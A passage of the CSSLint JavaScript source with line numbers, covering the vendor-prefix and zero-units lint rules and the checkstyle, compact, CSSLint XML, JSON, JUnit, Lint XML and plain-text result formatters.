10172 "-moz-column-rule-width": "column-rule-width",
10173 "-webkit-column-rule-width": "column-rule-width",
10174
10175 "-moz-column-width": "column-width",
10176 "-webkit-column-width": "column-width",
10177
10178 "-webkit-column-span": "column-span",
10179 "-webkit-columns": "columns",
10180
10181 "-moz-box-shadow": "box-shadow",
10182 "-webkit-box-shadow": "box-shadow",
10183
10184 "-moz-transform": "transform",
10185 "-webkit-transform": "transform",
10186 "-o-transform": "transform",
10187 "-ms-transform": "transform",
10188
10189 "-moz-transform-origin": "transform-origin",
10190 "-webkit-transform-origin": "transform-origin",
10191 "-o-transform-origin": "transform-origin",
10192 "-ms-transform-origin": "transform-origin",
10193
10194 "-moz-box-sizing": "box-sizing",
10195 "-webkit-box-sizing": "box-sizing"
10196 };
10197
10198 // event handler for beginning of rules
10199 function startRule() {
10200 properties = {};
10201 num = 1;
10202 }
10203
10204 // event handler for end of rules
10205 function endRule() {
10206 var prop,
10207 i,
10208 len,
10209 needed,
10210 actual,
10211 needsStandard = [];
10212
10213 for (prop in properties) {
10214 if (propertiesToCheck[prop]) {
10215 needsStandard.push({
10216 actual: prop,
10217 needed: propertiesToCheck[prop]
10218 });
10219 }
10220 }
10221
10222 for (i=0, len=needsStandard.length; i < len; i++) {
10223 needed = needsStandard[i].needed;
10224 actual = needsStandard[i].actual;
10225
10226 if (!properties[needed]) {
10227 reporter.report("Missing standard property '" + needed + "' to go along with '" + actual + "'.", properties[actual][0].name.line, properties[actual][0].name.col, rule);
10228 } else {
10229 // make sure standard property is last
10230 if (properties[needed][0].pos < properties[actual][0].pos) {
10231 reporter.report("Standard property '" + needed + "' should come after vendor-prefixed property '" + actual + "'.", properties[actual][0].name.line, properties[actual][0].name.col, rule);
10232 }
10233 }
10234 }
10235
10236 }
10237
10238 parser.addListener("startrule", startRule);
10239 parser.addListener("startfontface", startRule);
10240 parser.addListener("startpage", startRule);
10241 parser.addListener("startpagemargin", startRule);
10242 parser.addListener("startkeyframerule", startRule);
10243 parser.addListener("startviewport", startRule);
10244
10245 parser.addListener("property", function(event) {
10246 var name = event.property.text.toLowerCase();
10247
10248 if (!properties[name]) {
10249 properties[name] = [];
10250 }
10251
10252 properties[name].push({
10253 name: event.property,
10254 value: event.value,
10255 pos: num++
10256 });
10257 });
10258
10259 parser.addListener("endrule", endRule);
10260 parser.addListener("endfontface", endRule);
10261 parser.addListener("endpage", endRule);
10262 parser.addListener("endpagemargin", endRule);
10263 parser.addListener("endkeyframerule", endRule);
10264 parser.addListener("endviewport", endRule);
10265 }
10266
10267});
10268
10269/*
10270 * Rule: You don't need to specify units when a value is 0.
10271 */
10272
10273CSSLint.addRule({
10274
10275 // rule information
10276 id: "zero-units",
10277 name: "Disallow units for 0 values",
10278 desc: "You don't need to specify units when a value is 0.",
10279 url: "https://github.com/CSSLint/csslint/wiki/Disallow-units-for-zero-values",
10280 browsers: "All",
10281
10282 // initialization
10283 init: function(parser, reporter) {
10284 "use strict";
10285 var rule = this;
10286
10287 // count how many times "float" is used
10288 parser.addListener("property", function(event) {
10289 var parts = event.value.parts,
10290 i = 0,
10291 len = parts.length;
10292
10293 while (i < len) {
10294 if ((parts[i].units || parts[i].type === "percentage") && parts[i].value === 0 && parts[i].type !== "time") {
10295 reporter.report("Values of 0 shouldn't have units specified.", parts[i].line, parts[i].col, rule);
10296 }
10297 i++;
10298 }
10299
10300 });
10301
10302 }
10303
10304});
10305
10306(function() {
10307 "use strict";
10308
10309 /**
10310 * Replace special characters before write to output.
10311 *
10312 * Rules:
10313 * - single quotes is the escape sequence for double-quotes
10314 * - &amp; is the escape sequence for &
10315 * - &lt; is the escape sequence for <
10316 * - &gt; is the escape sequence for >
10317 *
10318 * @param {String} message to escape
10319 * @return escaped message as {String}
10320 */
10321 var xmlEscape = function(str) {
10322 if (!str || str.constructor !== String) {
10323 return "";
10324 }
10325
10326 return str.replace(/["&><]/g, function(match) {
10327 switch (match) {
10328 case "\"":
10329 return "&quot;";
10330 case "&":
10331 return "&amp;";
10332 case "<":
10333 return "&lt;";
10334 case ">":
10335 return "&gt;";
10336 }
10337 });
10338 };
10339
10340 CSSLint.addFormatter({
10341 // format information
10342 id: "checkstyle-xml",
10343 name: "Checkstyle XML format",
10344
10345 /**
10346 * Return opening root XML tag.
10347 * @return {String} to prepend before all results
10348 */
10349 startFormat: function() {
10350 return "<?xml version=\"1.0\" encoding=\"utf-8\"?><checkstyle>";
10351 },
10352
10353 /**
10354 * Return closing root XML tag.
10355 * @return {String} to append after all results
10356 */
10357 endFormat: function() {
10358 return "</checkstyle>";
10359 },
10360
10361 /**
10362 * Returns message when there is a file read error.
10363 * @param {String} filename The name of the file that caused the error.
10364 * @param {String} message The error message
10365 * @return {String} The error message.
10366 */
10367 readError: function(filename, message) {
10368 return "<file name=\"" + xmlEscape(filename) + "\"><error line=\"0\" column=\"0\" severty=\"error\" message=\"" + xmlEscape(message) + "\"></error></file>";
10369 },
10370
10371 /**
10372 * Given CSS Lint results for a file, return output for this format.
10373 * @param results {Object} with error and warning messages
10374 * @param filename {String} relative file path
10375 * @param options {Object} (UNUSED for now) specifies special handling of output
10376 * @return {String} output for results
10377 */
10378 formatResults: function(results, filename/*, options*/) {
10379 var messages = results.messages,
10380 output = [];
10381
10382 /**
10383 * Generate a source string for a rule.
10384 * Checkstyle source strings usually resemble Java class names e.g
10385 * net.csslint.SomeRuleName
10386 * @param {Object} rule
10387 * @return rule source as {String}
10388 */
10389 var generateSource = function(rule) {
10390 if (!rule || !("name" in rule)) {
10391 return "";
10392 }
10393 return "net.csslint." + rule.name.replace(/\s/g, "");
10394 };
10395
10396
10397 if (messages.length > 0) {
10398 output.push("<file name=\""+filename+"\">");
10399 CSSLint.Util.forEach(messages, function (message) {
10400 // ignore rollups for now
10401 if (!message.rollup) {
10402 output.push("<error line=\"" + message.line + "\" column=\"" + message.col + "\" severity=\"" + message.type + "\"" +
10403 " message=\"" + xmlEscape(message.message) + "\" source=\"" + generateSource(message.rule) +"\"/>");
10404 }
10405 });
10406 output.push("</file>");
10407 }
10408
10409 return output.join("");
10410 }
10411 });
10412
10413}());
10414
10415CSSLint.addFormatter({
10416 // format information
10417 id: "compact",
10418 name: "Compact, 'porcelain' format",
10419
10420 /**
10421 * Return content to be printed before all file results.
10422 * @return {String} to prepend before all results
10423 */
10424 startFormat: function() {
10425 "use strict";
10426 return "";
10427 },
10428
10429 /**
10430 * Return content to be printed after all file results.
10431 * @return {String} to append after all results
10432 */
10433 endFormat: function() {
10434 "use strict";
10435 return "";
10436 },
10437
10438 /**
10439 * Given CSS Lint results for a file, return output for this format.
10440 * @param results {Object} with error and warning messages
10441 * @param filename {String} relative file path
10442 * @param options {Object} (Optional) specifies special handling of output
10443 * @return {String} output for results
10444 */
10445 formatResults: function(results, filename, options) {
10446 "use strict";
10447 var messages = results.messages,
10448 output = "";
10449 options = options || {};
10450
10451 /**
10452 * Capitalize and return given string.
10453 * @param str {String} to capitalize
10454 * @return {String} capitalized
10455 */
10456 var capitalize = function(str) {
10457 return str.charAt(0).toUpperCase() + str.slice(1);
10458 };
10459
10460 if (messages.length === 0) {
10461 return options.quiet ? "" : filename + ": Lint Free!";
10462 }
10463
10464 CSSLint.Util.forEach(messages, function(message) {
10465 if (message.rollup) {
10466 output += filename + ": " + capitalize(message.type) + " - " + message.message + " (" + message.rule.id + ")\n";
10467 } else {
10468 output += filename + ": line " + message.line +
10469 ", col " + message.col + ", " + capitalize(message.type) + " - " + message.message + " (" + message.rule.id + ")\n";
10470 }
10471 });
10472
10473 return output;
10474 }
10475});
10476
10477CSSLint.addFormatter({
10478 // format information
10479 id: "csslint-xml",
10480 name: "CSSLint XML format",
10481
10482 /**
10483 * Return opening root XML tag.
10484 * @return {String} to prepend before all results
10485 */
10486 startFormat: function() {
10487 "use strict";
10488 return "<?xml version=\"1.0\" encoding=\"utf-8\"?><csslint>";
10489 },
10490
10491 /**
10492 * Return closing root XML tag.
10493 * @return {String} to append after all results
10494 */
10495 endFormat: function() {
10496 "use strict";
10497 return "</csslint>";
10498 },
10499
10500 /**
10501 * Given CSS Lint results for a file, return output for this format.
10502 * @param results {Object} with error and warning messages
10503 * @param filename {String} relative file path
10504 * @param options {Object} (UNUSED for now) specifies special handling of output
10505 * @return {String} output for results
10506 */
10507 formatResults: function(results, filename/*, options*/) {
10508 "use strict";
10509 var messages = results.messages,
10510 output = [];
10511
10512 /**
10513 * Replace special characters before write to output.
10514 *
10515 * Rules:
10516 * - single quotes is the escape sequence for double-quotes
10517 * - &amp; is the escape sequence for &
10518 * - &lt; is the escape sequence for <
10519 * - &gt; is the escape sequence for >
10520 *
10521 * @param {String} message to escape
10522 * @return escaped message as {String}
10523 */
10524 var escapeSpecialCharacters = function(str) {
10525 if (!str || str.constructor !== String) {
10526 return "";
10527 }
10528 return str.replace(/"/g, "'").replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
10529 };
10530
10531 if (messages.length > 0) {
10532 output.push("<file name=\""+filename+"\">");
10533 CSSLint.Util.forEach(messages, function (message) {
10534 if (message.rollup) {
10535 output.push("<issue severity=\"" + message.type + "\" reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
10536 } else {
10537 output.push("<issue line=\"" + message.line + "\" char=\"" + message.col + "\" severity=\"" + message.type + "\"" +
10538 " reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
10539 }
10540 });
10541 output.push("</file>");
10542 }
10543
10544 return output.join("");
10545 }
10546});
10547
10548/* globals JSON: true */
10549
10550CSSLint.addFormatter({
10551 // format information
10552 id: "json",
10553 name: "JSON",
10554
10555 /**
10556 * Return content to be printed before all file results.
10557 * @return {String} to prepend before all results
10558 */
10559 startFormat: function() {
10560 "use strict";
10561 this.json = [];
10562 return "";
10563 },
10564
10565 /**
10566 * Return content to be printed after all file results.
10567 * @return {String} to append after all results
10568 */
10569 endFormat: function() {
10570 "use strict";
10571 var ret = "";
10572 if (this.json.length > 0) {
10573 if (this.json.length === 1) {
10574 ret = JSON.stringify(this.json[0]);
10575 } else {
10576 ret = JSON.stringify(this.json);
10577 }
10578 }
10579 return ret;
10580 },
10581
10582 /**
10583 * Given CSS Lint results for a file, return output for this format.
10584 * @param results {Object} with error and warning messages
10585 * @param filename {String} relative file path (Unused)
10586 * @return {String} output for results
10587 */
10588 formatResults: function(results, filename, options) {
10589 "use strict";
10590 if (results.messages.length > 0 || !options.quiet) {
10591 this.json.push({
10592 filename: filename,
10593 messages: results.messages,
10594 stats: results.stats
10595 });
10596 }
10597 return "";
10598 }
10599});
10600
10601CSSLint.addFormatter({
10602 // format information
10603 id: "junit-xml",
10604 name: "JUNIT XML format",
10605
10606 /**
10607 * Return opening root XML tag.
10608 * @return {String} to prepend before all results
10609 */
10610 startFormat: function() {
10611 "use strict";
10612 return "<?xml version=\"1.0\" encoding=\"utf-8\"?><testsuites>";
10613 },
10614
10615 /**
10616 * Return closing root XML tag.
10617 * @return {String} to append after all results
10618 */
10619 endFormat: function() {
10620 "use strict";
10621 return "</testsuites>";
10622 },
10623
10624 /**
10625 * Given CSS Lint results for a file, return output for this format.
10626 * @param results {Object} with error and warning messages
10627 * @param filename {String} relative file path
10628 * @param options {Object} (UNUSED for now) specifies special handling of output
10629 * @return {String} output for results
10630 */
10631 formatResults: function(results, filename/*, options*/) {
10632 "use strict";
10633
10634 var messages = results.messages,
10635 output = [],
10636 tests = {
10637 "error": 0,
10638 "failure": 0
10639 };
10640
10641 /**
10642 * Generate a source string for a rule.
10643 * JUNIT source strings usually resemble Java class names e.g
10644 * net.csslint.SomeRuleName
10645 * @param {Object} rule
10646 * @return rule source as {String}
10647 */
10648 var generateSource = function(rule) {
10649 if (!rule || !("name" in rule)) {
10650 return "";
10651 }
10652 return "net.csslint." + rule.name.replace(/\s/g, "");
10653 };
10654
10655 /**
10656 * Replace special characters before write to output.
10657 *
10658 * Rules:
10659 * - single quotes is the escape sequence for double-quotes
10660 * - &lt; is the escape sequence for <
10661 * - &gt; is the escape sequence for >
10662 *
10663 * @param {String} message to escape
10664 * @return escaped message as {String}
10665 */
10666 var escapeSpecialCharacters = function(str) {
10667
10668 if (!str || str.constructor !== String) {
10669 return "";
10670 }
10671
10672 return str.replace(/"/g, "'").replace(/</g, "&lt;").replace(/>/g, "&gt;");
10673
10674 };
10675
10676 if (messages.length > 0) {
10677
10678 messages.forEach(function (message) {
10679
10680 // since junit has no warning class
10681 // all issues as errors
10682 var type = message.type === "warning" ? "error" : message.type;
10683
10684 // ignore rollups for now
10685 if (!message.rollup) {
10686
10687 // build the test case separately, once joined
10688 // we'll add it to a custom array filtered by type
10689 output.push("<testcase time=\"0\" name=\"" + generateSource(message.rule) + "\">");
10690 output.push("<" + type + " message=\"" + escapeSpecialCharacters(message.message) + "\"><![CDATA[" + message.line + ":" + message.col + ":" + escapeSpecialCharacters(message.evidence) + "]]></" + type + ">");
10691 output.push("</testcase>");
10692
10693 tests[type] += 1;
10694
10695 }
10696
10697 });
10698
10699 output.unshift("<testsuite time=\"0\" tests=\"" + messages.length + "\" skipped=\"0\" errors=\"" + tests.error + "\" failures=\"" + tests.failure + "\" package=\"net.csslint\" name=\"" + filename + "\">");
10700 output.push("</testsuite>");
10701
10702 }
10703
10704 return output.join("");
10705
10706 }
10707});
10708
10709CSSLint.addFormatter({
10710 // format information
10711 id: "lint-xml",
10712 name: "Lint XML format",
10713
10714 /**
10715 * Return opening root XML tag.
10716 * @return {String} to prepend before all results
10717 */
10718 startFormat: function() {
10719 "use strict";
10720 return "<?xml version=\"1.0\" encoding=\"utf-8\"?><lint>";
10721 },
10722
10723 /**
10724 * Return closing root XML tag.
10725 * @return {String} to append after all results
10726 */
10727 endFormat: function() {
10728 "use strict";
10729 return "</lint>";
10730 },
10731
10732 /**
10733 * Given CSS Lint results for a file, return output for this format.
10734 * @param results {Object} with error and warning messages
10735 * @param filename {String} relative file path
10736 * @param options {Object} (UNUSED for now) specifies special handling of output
10737 * @return {String} output for results
10738 */
10739 formatResults: function(results, filename/*, options*/) {
10740 "use strict";
10741 var messages = results.messages,
10742 output = [];
10743
10744 /**
10745 * Replace special characters before write to output.
10746 *
10747 * Rules:
10748 * - single quotes is the escape sequence for double-quotes
10749 * - &amp; is the escape sequence for &
10750 * - &lt; is the escape sequence for <
10751 * - &gt; is the escape sequence for >
10752 *
10753 * @param {String} message to escape
10754 * @return escaped message as {String}
10755 */
10756 var escapeSpecialCharacters = function(str) {
10757 if (!str || str.constructor !== String) {
10758 return "";
10759 }
10760 return str.replace(/"/g, "'").replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
10761 };
10762
10763 if (messages.length > 0) {
10764
10765 output.push("<file name=\""+filename+"\">");
10766 CSSLint.Util.forEach(messages, function (message) {
10767 if (message.rollup) {
10768 output.push("<issue severity=\"" + message.type + "\" reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
10769 } else {
10770 var rule = "";
10771 if (message.rule && message.rule.id) {
10772 rule = "rule=\"" + escapeSpecialCharacters(message.rule.id) + "\" ";
10773 }
10774 output.push("<issue " + rule + "line=\"" + message.line + "\" char=\"" + message.col + "\" severity=\"" + message.type + "\"" +
10775 " reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
10776 }
10777 });
10778 output.push("</file>");
10779 }
10780
10781 return output.join("");
10782 }
10783});
10784
10785CSSLint.addFormatter({
10786 // format information
10787 id: "text",
10788 name: "Plain Text",
10789
10790 /**
10791 * Return content to be printed before all file results.
10792 * @return {String} to prepend before all results
10793 */
10794 startFormat: function() {
10795 "use strict";
10796 return "";
10797 },
10798
10799 /**
10800 * Return content to be printed after all file results.
10801 * @return {String} to append after all results
10802 */
10803 endFormat: function() {
10804 "use strict";
10805 return "";
10806 },
10807
10808 /**
10809 * Given CSS Lint results for a file, return output for this format.
10810 * @param results {Object} with error and warning messages
10811 * @param filename {String} relative file path
10812 * @param options {Object} (Optional) specifies special handling of output
10813 * @return {String} output for results
10814 */
10815 formatResults: function(results, filename, options) {
10816 "use strict";
10817 var messages = results.messages,
10818 output = "";
10819 options = options || {};
10820
10821 if (messages.length === 0) {
10822 return options.quiet ? "" : "\n\ncsslint: No errors in " + filename + ".";
10823 }
10824
10825 output = "\n\ncsslint: There ";
10826 if (messages.length === 1) {
10827 output += "is 1 problem";
10828 } else {
10829 output += "are " + messages.length + " problems";
10830 }
10831 output += " in " + filename + ".";
10832
10833 var pos = filename.lastIndexOf("/"),
10834 shortFilename = filename;
10835
10836 if (pos === -1) {
10837 pos = filename.lastIndexOf("\\");
10838 }
10839 if (pos > -1) {
10840 shortFilename = filename.substring(pos+1);
10841 }
10842
10843 CSSLint.Util.forEach(messages, function (message, i) {
10844 output = output + "\n\n" + shortFilename;
10845 if (message.rollup) {
10846 output += "\n" + (i+1) + ": " + message.type;
10847 output += "\n" + message.message;
10848 } else {
10849 output += "\n" + (i+1) + ": " + message.type + " at line " + message.line + ", col " + message.col;
10850 output += "\n" + message.message;
10851 output += "\n" + message.evidence;
10852 }
10853 });
10854
10855 return output;
10856 }
10857});
10858
10859return CSSLint;
10860})();